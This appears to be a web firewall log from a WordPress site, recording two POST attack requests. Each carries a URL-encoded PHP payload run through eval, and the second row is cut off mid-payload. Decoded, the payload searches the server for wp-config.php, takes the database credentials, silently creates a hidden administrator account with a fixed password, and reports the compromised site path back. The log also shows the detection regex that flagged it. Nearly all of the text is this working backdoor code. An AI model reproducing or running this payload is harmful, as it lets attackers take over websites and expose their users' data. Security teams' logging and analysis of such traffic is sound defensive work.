["2026-04-18 11:40:59","141.98.11.117","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\n\nHJTgNT=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:41:29","91.227.37.60","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_log